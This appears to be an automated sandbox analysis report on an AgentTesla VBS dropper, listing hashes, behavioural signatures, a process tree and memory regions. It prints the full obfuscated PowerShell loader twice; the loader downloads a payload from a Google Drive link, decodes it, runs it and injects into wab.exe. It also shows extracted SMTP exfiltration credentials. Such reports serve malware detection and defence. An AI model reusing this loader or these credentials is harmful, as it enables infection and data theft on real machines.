Analysis
-
max time kernel
142s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 13:50
Static task
static1
Behavioral task
behavioral1
Sample
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
Resource
win10v2004-20240426-en
General
-
Target
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
-
Size
4KB
-
MD5
da84b84acab58afbc2549d0313d7a27d
-
SHA1
f9b2f7c8a1095a0a92b1c11ffad1db6f3e60ddcd
-
SHA256
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94
-
SHA512
ed14edb9c28960454971bc4766109cff1e3195258fb1c2c15d25ec61592c49cef9b5afe01ca477254f73d16b81c0b9a2093bb35fb78861ae11e98876e96a3029
-
SSDEEP
96:QSUGGWOfwEq8apLbxVgsUkx0PONZDYwAqn/Q6oej2EjsCXdLKUfp:QS7GWC6Lb7dFGWNZDzhnouj2EQCXFbfp
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.raczki.pl - Port:
587 - Username:
[email protected] - Password:
obslugaradygminy - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 2664 powershell.exe 7 2664 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
wab.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe" wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 2912 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2464 powershell.exe 2912 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2464 set thread context of 2912 2464 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 2664 powershell.exe 2464 powershell.exe 2464 powershell.exe 2912 wab.exe 2912 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2464 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 2664 powershell.exe Token: SeDebugPrivilege 2464 powershell.exe Token: SeDebugPrivilege 2912 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2864 wrote to memory of 2664 2864 WScript.exe powershell.exe PID 2864 wrote to memory of 2664 2864 WScript.exe powershell.exe PID 2864 wrote to memory of 2664 2864 WScript.exe powershell.exe PID 2664 wrote to memory of 2480 2664 powershell.exe cmd.exe PID 2664 wrote to memory of 2480 2664 powershell.exe cmd.exe PID 2664 wrote to memory of 2480 2664 powershell.exe cmd.exe PID 2664 wrote to memory of 2464 2664 powershell.exe powershell.exe PID 2664 wrote to memory of 2464 2664 powershell.exe powershell.exe PID 2664 wrote to memory of 2464 2664 powershell.exe powershell.exe PID 2664 wrote to memory of 2464 2664 powershell.exe powershell.exe PID 2464 wrote to memory of 2908 2464 powershell.exe cmd.exe PID 2464 wrote to memory of 2908 2464 powershell.exe cmd.exe PID 2464 wrote to memory of 2908 2464 powershell.exe cmd.exe PID 2464 wrote to memory of 2908 2464 powershell.exe cmd.exe PID 2464 wrote to memory of 2912 2464 powershell.exe wab.exe PID 2464 wrote to memory of 2912 2464 powershell.exe wab.exe PID 2464 wrote to memory of 2912 2464 powershell.exe wab.exe PID 2464 wrote to memory of 2912 2464 powershell.exe wab.exe PID 2464 wrote to memory of 2912 2464 powershell.exe wab.exe PID 2464 wrote to memory of 2912 2464 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\04SPGSNHGL5XICE4C5FZ.tempFilesize
7KB
MD57579f071f9d64f8cedae44796e28de9b
SHA1b2000463a4cc11ac3252692d447f8fc9ed6f94ff
SHA2561d9d4a03b1010d4312e47ce5def1d158b37f491cce7befe655215d7854d206b9
SHA5122d56d5b178b0a1788e28bcbd3fc8755fe9cf052ac3203738ba20eba56a7795e9a5f36a3ed6d8ebd72eb604a8e86aa26b9004e9047d1730b3bbfe4a9cd2885f09
-
C:\Users\Admin\AppData\Roaming\Torntappen.InfFilesize
481KB
MD5af362ac0f71c354e02c2f692a94d3755
SHA1f6667c8657dce705f35731ec0cda5bcea418826c
SHA256ab4a7ac83a0974c4125388864e9552d5d9693937da3f438d98489cc725e4d4e9
SHA512c4a3dfd681a1b6a40a12434d52030854d677780d00a65e970082bd004058fb74c80901bcdbfb439734d286a4e4e174f17a994a5b483c7eb016e7d45018a92de2
-
memory/2464-19-0x0000000006450000-0x000000000A00A000-memory.dmpFilesize
59.7MB
-
memory/2664-5-0x000000001B600000-0x000000001B8E2000-memory.dmpFilesize
2.9MB
-
memory/2664-8-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2664-9-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2664-10-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2664-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2664-6-0x0000000001F70000-0x0000000001F78000-memory.dmpFilesize
32KB
-
memory/2664-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2664-17-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2664-18-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmpFilesize
4KB
-
memory/2664-4-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmpFilesize
4KB
-
memory/2664-44-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2912-43-0x0000000000860000-0x00000000018C2000-memory.dmpFilesize
16.4MB
-
memory/2912-45-0x0000000000860000-0x00000000008A2000-memory.dmpFilesize
264KB